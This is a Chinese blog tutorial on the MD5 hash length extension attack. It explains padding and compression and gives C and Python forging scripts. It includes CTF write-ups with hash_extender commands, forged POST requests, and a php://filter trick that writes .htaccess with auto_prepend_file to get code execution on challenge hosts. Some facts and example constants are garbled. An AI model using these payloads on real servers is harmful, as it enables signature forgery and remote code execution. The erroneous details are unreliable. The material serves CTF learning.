深入浅出-Hash长度拓展攻击

0x00前言

因为kengwang师傅在新生赛出了这个题目,但是之前没学过www,这就来学学。

0x01 什么是hash长度拓展攻击

hash长度拓展攻击,概括一下就是由于hash的生成机制使得我们可以人为的在原先的明文基础上添加新的拓展字符,从而使得原本的加密链变长,进一步控制加密链的最后一节,使得我们得以控制最终的结果。
这里简单介绍一下hash算法。

hash算法又叫做散列算法。是一种把任意长度的字符串加密为固定长度的字符串的加密算法,该算法生成的密文就是散列值。这里拿一个比较典型的MD5来做例子来详细分析一下

0X02MD5加密

MD5 消息摘要算法是一种广泛使用的哈希函数,可生成 128位哈希值。 MD5 由Ronald Rivest于 1991年设计,用于取代早期的哈希函数MD4 ,并于 1992 年被指定为 RFC 1321。

MD5 可用作校验和来验证数据完整性,防止意外损坏。历史上它被广泛用作加密哈希函数;然而,它被发现存在广泛的漏洞。它仍然适用于其他非加密目的,例如用于确定分区数据库中特定密钥的分区,并且由于比最新的安全散列算法更低的计算要求,它可能是首选。

这里我将MD5加密分为三个步骤,分别是:

  • 填充
  • 分块
  • 多轮压缩 最后输出,这里我一一举例

这里我贴一下墨师傅的脚本

1
2
3
4
5
6
7
def text_to_binary(text_str):
    binary_str = ' '.join(format(ord(x), 'b') for x in text_str)
    return binary_str

text_input = '0123456789abcdef'
binary_output = text_to_binary(text_input)
print('binary result is:{0}'.format(binary_output))

具体的代码逻辑应该很清晰

  • input是0-f
  • 将input转换为2进制内容 这里的输出为
1
00110000 00110001 00110010 00110011 00110100 00110101 00110110 00110111 00111000 00111001 01100001 01100010 01100011 01100100 01100101 01100110

这里便是128位的二进制字符 或者我们可以用010来查看文件,这里举例

/img/深入浅出-Hash长度拓展攻击/1.png
这里就是9*8=72个二进制字符

什么叫填充呢,填充的过程就是讲2进制字符个数填充到512比特的整数倍大小,并且需要在最后面预留64位来固定表示原始数据大小,即小端在前格式,中间剩下的比特第一个填1其余的补0

那么对于以上的两个二进制文件,则就可以按照这个填充规则来进行填充。

这里提出一个小问题,如果说你输入的数据刚好为512bit呢,那么他是否会进行填充,答案是肯定的,因为没有最后64位固定值来表示原始数据大小,那么就会填充到1024-512=512个数据(当然包含进最后64位固定数据)。 包括在最后不足64位时也需要补齐到下一个512整数倍的数据。 最后补的64位的值就是前面数据长度的大小,例如abcd,则就是4*8=32,转化成二进制就是100000。

那么在前面进行填充后肯定可以进行分块,并且分块肯定可以是512的整数倍。 并且这个时候会给出四组幻数来作为md5的初始值 例如 0x1a8ba2ba 0x18s62abs 0x17ais27a2 0x1a662b1a

过程:把当前的四组散列值各复制一份,分别用abcd来表示 然后在每一个数据块中进行四轮操作,其中包含与,或,非,和循环位移操作,每次把abcd更新四次。 所以每个大块都可以对abcd的值进行更新16次。

这里我贴一个java实现md5加密的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.security.MessageDigest;  
import java.security.NoSuchAlgorithmException;  
  
public class MD5 {  
  
    public static void main(String[] args) {  
        String input = "Hello, World!";  
        String encrypted = encryptToMD5(input);  
        System.out.println("Original String: " + input);  
        System.out.println("MD5 Encrypted String: " + encrypted);  
    }  
  
    public static String encryptToMD5(String input) {  
        try {  
            MessageDigest md = MessageDigest.getInstance("MD5");  
            md.update(input.getBytes());  
            byte[] digest = md.digest();  
            StringBuilder sb = new StringBuilder();  
            for (byte b : digest) {  
                sb.append(String.format("%02x", b & 0xff));  
            }  
            return sb.toString();  
        } catch (NoSuchAlgorithmException e) {  
            e.printStackTrace();  
            return null;  
        }  
    }  
}

MD5攻击

第一原像攻击的目标是从给定的哈希值ℎh中找到相应的消息m,使得当这个消息被输入到哈希函数(例如MD5)时,会产生给定的哈希值ℎ。

在MD5的上下文中,虽然找到第一原像的理论复杂度是O(2^128)(由于MD5生成128位的哈希值),但是由于MD5的安全性问题,实际上的攻击复杂度远低于理论值。例如,研究已经显示,使用现代硬件和算法,可以在几小时或几天内找到MD5的第一原像。

第二原像攻击的目标是对于给定的输入消息m1​,找到另一个不同的消息m2​,使得两个消息产生相同的哈希值。这意味着对于哈希值ℎ,存在两个不同的消息m1​和m2​满足:

MD5(m1​)=MD5(m2​)=h

同样,理论上,第二原像攻击的复杂度是O(2^128),但由于MD5的弱点,实际攻击的复杂度比理论值低得多。尽管如此,相对于第一原像攻击,第二原像攻击仍然是一个更为困难的问题。

碰撞攻击是一种密码学攻击,目的是找到两个不同的输入消息(也称为原文),这两个消息在经过同一哈希函数计算后,会产生相同的哈希值。换句话说,攻击者试图找到两个不同的消息 m1​ 和 m2​,使得:

hash(m1​)=hash(m2​)

在MD5的上下文中,由于MD5哈希值为128位,理论上的碰撞攻击复杂度为O(2^128)。然而,由于MD5的设计缺陷和计算上的优化,现实中的碰撞攻击比这个理论复杂度要低得多。

2004年,Xiaoyun Wang等人发布了一个研究,成功地找到了两个不同的PDF文件,这两个文件在经过MD5哈希后产生了相同的哈希值。这是MD5碰撞攻击的早期和最著名的例子。

具体来说,这项研究找到了两个PDF文件:一个是普通的合同文件,另一个是恶意的PDF文件,其中嵌入了攻击代码。当这两个文件经过MD5哈希后,它们产生了相同的128位哈希值。这意味着,对于MD5哈希值来说,这两个文件是不可区分的,尽管它们的内容截然不同。

这个例子揭示了MD5在实际应用中的严重安全风险。如果攻击者能够找到一个合法文件和一个恶意文件,这两个文件的MD5哈希值相同,那么攻击者就可以轻易地伪装合法文件,诱使用户打开恶意文件,从而进行恶意攻击。

由于MD5的这种弱点,现在强烈建议避免使用MD5进行任何安全相关的应用,而应选择更安全的哈希算法,如SHA-256或SHA-3。这些算法在当前时间(2022年1月之前)被认为是安全的,并且不容易受到碰撞攻击的威胁。

Hash 长度拓展攻击

可能我现在写的东西有点抽象,不过后面我会总结讲一下为什么要这么做以及他的原理 这里定义一些东西

  • let secret = "secret"
  • let data = "data"
  • let H = md5()
  • let signature = hash(secret || data) = 6036708eba0d11f6ef52ad44e8b74d5b
  • let append = "append"

首先这里放出一个简单的example

1
2
3
4
0000  73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......
0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0030  00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......

代码模式可能看的不是很清晰,这里我贴出来图片

/img/深入浅出-Hash长度拓展攻击/2.png
当然这里是利用16进制来表示的,我们用二进制也是可以的,8->1,5->8bit。

这里我们将一个值,就是前面的append加入到字符串中,是这样的

/img/深入浅出-Hash长度拓展攻击/3.png

此时,这个哈希值有两种计算方式(破题点,这个后面会好好解释一下可能这里比较抽象)

  • 通过将其粘贴在缓冲区中并执行H(buffer)
  • 从第一个块的末尾开始,使用我们已经知道的状态signature,并append从该状态开始进行散列

其实就是按照正常的生成hash值的过程,最后生成出来的哈希值请我们这里暂定为: 6ee582a1669ce442f3719c47430dadee 这里贴出一下生成其md5的一个脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
echo '
#include <stdio.h>
#include <openssl/md5.h>

int main(int argc, const char *argv[])
{
  MD5_CTX c;
  unsigned char buffer[MD5_DIGEST_LENGTH];
  int i;

  MD5_Init(&c);
  MD5_Update(&c, "secret", 6);
  MD5_Update(&c, "data"
                 "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                 "\x00\x00\x00\x00"
                 "\x50\x00\x00\x00\x00\x00\x00\x00"
                 "append", 64);
  MD5_Final(buffer, &c);

  for (i = 0; i < 16; i++) {
    printf("%02x", buffer[i]);
  }
  printf("\n");
  return 0;
}' > hash_extension_1.c

gcc -o hash_extension_1 hash_extension_1.c -lssl -lcrypto

./hash_extension_1

可以看到这里的签名就是我们之前的数据。

这里我直接贴脚本出来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <openssl/md5.h>

int main(int argc, const char *argv[])
{
  int i;
  unsigned char buffer[MD5_DIGEST_LENGTH];
  MD5_CTX c;

  MD5_Init(&c);
  MD5_Update(&c, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 64);

  c.A = htonl(0x6036708e); /* <-- This is the hash we already had */
  c.B = htonl(0xba0d11f6);
  c.C = htonl(0xef52ad44);
  c.D = htonl(0xe8b74d5b);

  MD5_Update(&c, "append", 6); /* This is the appended data. */
  MD5_Final(buffer, &c);
  for (i = 0; i < 16; i++) {
    printf("%02x", buffer[i]);
  }
  printf("\n");
  return 0;
}' > hash_extension_2.c

gcc -o hash_extension_2 hash_extension_2.c -lssl -lcrypto

./hash_extension_2

可以看见我们这里对四个幻数(前面的理论有讲到),作为了一个初始参数 let signature = hash(secret || data) = 6036708eba0d11f6ef52ad44e8b74d5b 来进行md5值的加密,其实就是利用了AAAA那群数据块对其进行了再次的多轮压缩环节。 最后生成出来的哈希值 6ee582a1669ce442f3719c47430dadee

其实到此为止,这个攻击就完成了。但是这里要说一下,放在理论上是比较难理解的,这里还是需要举例子可以更加直观的理解(其实在题目中的本质就是将最后面的多轮压缩再对你可控的append进行一次压缩从而你可以知道后面生成的MD5值是什么)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
error_reporting(0);
$flag=getenv("DASFLAG");

if(isset($_GET["md5"]) && isset($_GET["i"]) && isset($_GET["s"])){
    $fl4g = substr_replace($flag, $_GET["s"], $_GET["i"], 1);
    if($_GET["md5"] === md5($fl4g)){
        echo $flag;
    }else{
        die("please try again");
    }
}else{
    highlight_file(__FILE__);
    echo md5($flag."yusa");
} 1c3de59d2f68788cc792e0eb7d604710

这里直接放出playload: ?md5=d9671633e3723203bc2a1479c8412307&i=-1&s=}yusa%80%00%00%00%00%00%00%00%00%00%00%00%00%00%50%01%00%00%00%00%00%00a 这里我利用前面的的讲的ATTACK来进行讲解:

例如我们的flag值是DT{axsak1dlsajl1} 那么此时的16进制就是这样的

/img/深入浅出-Hash长度拓展攻击/4.png
然后在加了salt之后就是加入yusa后就是
/img/深入浅出-Hash长度拓展攻击/5.png
此时的原始数据长度就是21*8=168bit,转化为16进制就是a8 填充后就是这样
/img/深入浅出-Hash长度拓展攻击/6.png
那么进行多轮压缩的时候就是将其作为一个数据块进行压缩。 这里我直接贴出来md5值为: 2b604a43f439b6e02c09dece6a83e503 这个是我们已知的,后面用[YZ]表示

这个时候我们就可以构造一下我们的playload什么的了 我们看到题目 $fl4g = substr_replace($flag, $_GET["s"], $_GET["i"], 1); 是对原本的flag进行了替换,那么此时我们可以想想,因为这个题目只能替换掉一个长度,那么对于定义,在前面的数据块中我们已经知道了其md5值,那么我们可以替换后添加到下一个数据块让他再次进行压缩,这个时候我们就知道他的下一个构造出来的md5是什么了 过程:

/img/深入浅出-Hash长度拓展攻击/7.png
这个是完整的一个数据块,那么此时我们如果替换完后把他变为
/img/深入浅出-Hash长度拓展攻击/8.png
这样之后那么是不是在服务端就会再次对其进行填充和多轮压缩,也就是这样
/img/深入浅出-Hash长度拓展攻击/9.png
(这里的A7是我随便写的,因为懒得算前面的长度再转换了) 这里此时是不是第二个分块压缩就会利用包含a在的数据块再次对数据进行压缩,此时生成出来的md5值就和我们需要的md5值便一样了, 这里随便举一个例子:我们生成的md5是d9671633e3723203bc2a1479c8412307 那么显而易见,在服务端生成的md5值也就一定是这个也就绕过了 $_GET["md5"] === md5($fl4g)的限制了

总的来说,我们可以很容易的看出来,其实就是我们可以构造出和原本数据一样的数据块之后自己补到下一个数据块内容来进行获得md5的加密值,也就是将我们的YZ放到上面ATTACK->第二种下面的脚本来进行获得md5值的过程

这个demo1后面再放出一个py脚本

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
# -*- coding: utf-8 -*-
# @Author: King kaki
# @Date:   2018-08-04 12:40:11
# @Last Modified by:   kingkk
# @Last Modified time: 2018-08-12 15:08:28
import math

F = lambda x, y, z: ((x & y) | ((~x) & z))
G = lambda x, y, z: ((x & z) | (y & (~z)))
H = lambda x, y, z: (x ^ y ^ z)
I = lambda x, y, z: (y ^ (x | (~z)))
L = lambda x, n: (((x << n) | (x >> (32 - n))) & (0xffffffff))
shi_1 = (7, 12, 17, 22) * 4
shi_2 = (5, 9, 14, 20) * 4
shi_3 = (4, 11, 16, 23) * 4
shi_4 = (6, 10, 15, 21) * 4
m_1 = (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15)
m_2 = (1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12)
m_3 = (5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2)
m_4 = (0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9)

def T(i):
    return (int(4294967296 * abs(math.sin(i)))) & 0xffffffff

def shift(shift_list):
    shift_list = [shift_list[3], shift_list[0], shift_list[1], shift_list[2]]
    return shift_list

def fun(fun_list, f, m, shi):
    count = 0
    global Ti_count
    while count < 16:
        xx = int(fun_list[0], 16) + f(int(fun_list[1], 16), int(fun_list[2], 16), int(fun_list[3], 16)) + int(m[count], 16) + T(Ti_count)
        xx &= 0xffffffff
        ll = L(xx, shi[count])
        fun_list[0] = hex((int(fun_list[1], 16) + ll) & 0xffffffff)
        fun_list = shift(fun_list)
        count += 1
        Ti_count += 1
    return fun_list

def gen_m16(order, ascii_list, f_offset):
    ii = 0
    m16 = [0] * 16
    f_offset *= 64
    for i in order:
        i *= 4
        m16[ii] = '0x' + ''.join((ascii_list[i + f_offset] + ascii_list[i + 1 + f_offset] + ascii_list[i + 2 + f_offset] + ascii_list[i + 3 + f_offset]).split('0x'))
        ii += 1
    for ind in range(len(m16)):
        m16[ind] = reverse_hex(m16[ind])
    return m16

def reverse_hex(hex_str):
    hex_str = hex_str[2:]
    if len(hex_str) < 8:
        hex_str = '0' * (8 - len(hex_str)) + hex_str
    hex_str_list = []
    for i in range(0, len(hex_str), 2):
        hex_str_list.append(hex_str[i:i + 2])
    hex_str_list.reverse()
    hex_str_result = '0x' + ''.join(hex_str_list)
    return hex_str_result

def show_result(f_list):
    result = ''
    f_list1 = [0] * 4
    for i in f_list:
        f_list1[f_list.index(i)] = reverse_hex(i)[2:]
        result += f_list1[f_list.index(i)]
    return result

def padding(input_m, msg_lenth=0):
    ascii_list = list(map(hex, map(ord, input_m)))
    msg_lenth += len(ascii_list) * 8
    ascii_list.append('0x80')
    for i in range(len(ascii_list)):
        if len(ascii_list[i]) < 4:
            ascii_list[i] = '0x' + '0' + ascii_list[i][2:]
    while (len(ascii_list) * 8 + 64) % 512 != 0:
        ascii_list.append('0x00')
    msg_lenth_0x = hex(msg_lenth)[2:]
    msg_lenth_0x = '0x' + msg_lenth_0x.rjust(16, '0')
    msg_lenth_0x_big_order = reverse_hex(msg_lenth_0x)[2:]
    msg_lenth_0x_list = []
    for i in range(0, len(msg_lenth_0x_big_order), 2):
        msg_lenth_0x_list.append('0x' + msg_lenth_0x_big_order[i: i + 2])
    ascii_list.extend(msg_lenth_0x_list)
    return ascii_list

def md5(input_m):
    global Ti_count
    Ti_count = 1
    abcd_list = ['0x67452301', '0xefcdab89', '0x98badcfe', '0x10325476']
    ascii_list = padding(input_m)
    for i in range(0, len(ascii_list) // 64):
        aa, bb, cc, dd = abcd_list
        order_1 = gen_m16(m_1, ascii_list, i)
        order_2 = gen_m16(m_2, ascii_list, i)
        order_3 = gen_m16(m_3, ascii_list, i)
        order_4 = gen_m16(m_4, ascii_list, i)
        abcd_list = fun(abcd_list, F, order_1, shi_1)
        abcd_list = fun(abcd_list, G, order_2, shi_2)
        abcd_list = fun(abcd_list, H, order_3, shi_3)
        abcd_list = fun(abcd_list, I, order_4, shi_4)
        output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff)
        output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff)
        output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff)
        output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff)
        abcd_list = [output_a, output_b, output_c, output_d]
        Ti_count = 1
        print(ascii_list)
    return show_result(abcd_list)

# md5-Length Extension Attack: 计算 md5(message + padding + suffix), res = md5(message), len_m = len(message)
def md5_lea(suffix, res, len_m):
    global Ti_count
    Ti_count = 1
    abcd_list = []
    for i in range(0, 32, 8):
        abcd_list.append(reverse_hex('0x' + res[i: i + 8]))
    # print(abcd_list)
    ascii_list = padding(suffix, (len_m + 72) // 64 * 64 * 8)  # len(message + padding) * 8
    # print(ascii_list)
    for i in range(0, len(ascii_list) // 64):
        aa, bb, cc, dd = abcd_list
        order_1 = gen_m16(m_1, ascii_list, i)
        order_2 = gen_m16(m_2, ascii_list, i)
        order_3 = gen_m16(m_3, ascii_list, i)
        order_4 = gen_m16(m_4, ascii_list, i)
        abcd_list = fun(abcd_list, F, order_1, shi_1)
        abcd_list = fun(abcd_list, G, order_2, shi_2)
        abcd_list = fun(abcd_list, H, order_3, shi_3)
        abcd_list = fun(abcd_list, I, order_4, shi_4)
        output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff)
        output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff)
        output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff)
        output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff)
        abcd_list = [output_a, output_b, output_c, output_d]
        Ti_count = 1
    # print(ascii_list)
    return show_result(abcd_list)

def url_append(hex_bit):
    len_append = '0x{}{}'.format( (18-len(hex_bit))*'0', hex_bit[2:])
    len_append = reverse_hex(len_append)[2:]
    # print(len_append)
    t = ''
    for i in range(len(len_append)):
        if i % 2 ==0 :
            t += '%'+len_append[i:i+2]
        else:
            pass
    return t

if __name__ == '__main__':
    '''
    修改res为已知哈希值
    extend 为拓展值
    自动遍历出1-30长度的payload url编码表达式
    '''
    res = '1c3de59d2f68788cc792e0eb7d604710'
    extend = '}'
    # print(reverse_hex('0x' + res))

    for i in range(45):
        hex_bit = hex(i*8)
        t = url_append(hex_bit)
        print('[%d]' % i,md5_lea(extend,res,i))
        # print('{}%80{}{}{}'.format('X'*i, (55-i)*'%00',t, extend) )
        print('%80{}{}{}'.format((55-i)*'%00',t, extend) )
        # print('{}{}'.format( hex(i), (18-len(hex(i)))*'0') )
    # from urllib.parse import unquote
    # print(md5_lea('kingkk','571580b26c65f306376d4f64e53cb5c7',10))

这个是kengwang师傅出的一道题目

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
highlight_file(__FILE__);
include 'secret.php';
$input = base64_decode($_REQUEST['content']);
$userhash = $_REQUEST['hash'];
$content = $secret . $input;
if (md5($secret) !== '37870febc8d470109a867802b8031454')
{
    exit("No no, Don't change the secret.");
}
echo "Secret's length is " . strlen($secret) . "    ";
$hash = md5($content);
// Is that enough? Let's see...
if (strlen($userhash) == 32 && $hash === $userhash) {
    echo "Congratulations! I will write your input into file.";
    $filename = explode("[[", $input)[1];
    // take it easy, i will change the return for you   
    $filename = str_replace("\\n", "\n", str_replace("\0",'',$filename));
    $content = $secret . $filename;
    file_put_contents($filename, $content);
} else {
    exit("Think Extensively.");
} 

这里同样也给出了加密前的secret的md5值,我们这里就当做data也就是demo1的yusa是空值即可。 当然因为这里加入了死亡杂糅的内容所以这里我放出wp,其实总的来说还是上面分析的方法。

我们可以使用 hash_extender 这个工具来进行哈希长度扩展攻击, 生成新的密文

首先考虑将secret写入到一个文件中

执行:

1
hash_extender -s 37870febc8d470109a867802b8031454 -a "[[a.txt" -f md5 -l 13 -d ''

得到:

1
2
3
4
Type: md5
Secret length: 13
New signature: 4f150e4b71070951112f56be4044c181
New string: 8000000000000000000000000000000000000000000000000000000000000000000000000000000000000068000000000000005b5b612e747874

可能需要用 CyberChef 套 From Hex (Auto) - To Base64

发送:

1
2
3
4
5
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: dino-ctf.kengwang.com.cn:32857

hash=4f150e4b71070951112f56be4044c181&content=gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgAAAAAAAAAW1thLnR4dA

访问 a.txt

发现secret<?php die(); , 接下来是死亡 die 绕过

这里需要用到伪协议的一些技巧:

首先利用 string.strip_tags 的过滤器链吞掉之前的死亡 die, 然后再在后面接上你想要写的内容

这里使用写 .htaccess 的方法来实现rce, 直接加个 auto_prepend_file 即可

构造出 php://filter/write=string.strip_tags/?>php_value auto_prepend_file flag\n#/resource=.htaccess

1
hash_extender -s 37870febc8d470109a867802b8031454 -a "[[php://filter/write=string.strip_tags/?>php_value auto_prepend_file flag\n#/resource=.htaccess" -f md5 -l 13 -d ''

最终 payload:

1
2
3
4
5
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:32768

hash=473640a1e1ec5efa6bdaf4c7c8f04482&content=gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgAAAAAAAAAW1twaHA6Ly9maWx0ZXIvd3JpdGU9c3RyaW5nLnN0cmlwX3RhZ3MvPz5waHBfdmFsdWUgYXV0b19wcmVwZW5kX2ZpbGUgZmxhZ1xuIy9yZXNvdXJjZT0uaHRhY2Nlc3M

即可写入

Conclusion

总的来说,这个攻击方法还是很好玩的,只不过发现市面上很多的文章写的不尽人意,看了一天都可能不明白其中的原理,写的过于抽象所以想着写写。 只要我们注意到MD5中加密过程中的填充和多轮压缩,并且利用即可,当然也有很多工具可以生成一些playload,这个就不放出来了。 最后感谢kengwang师傅,x1r0z师傅的指导

参考文章: 1、 https://xz.aliyun.com/t/10602 2、 https://github.com/iagox86/hash_extender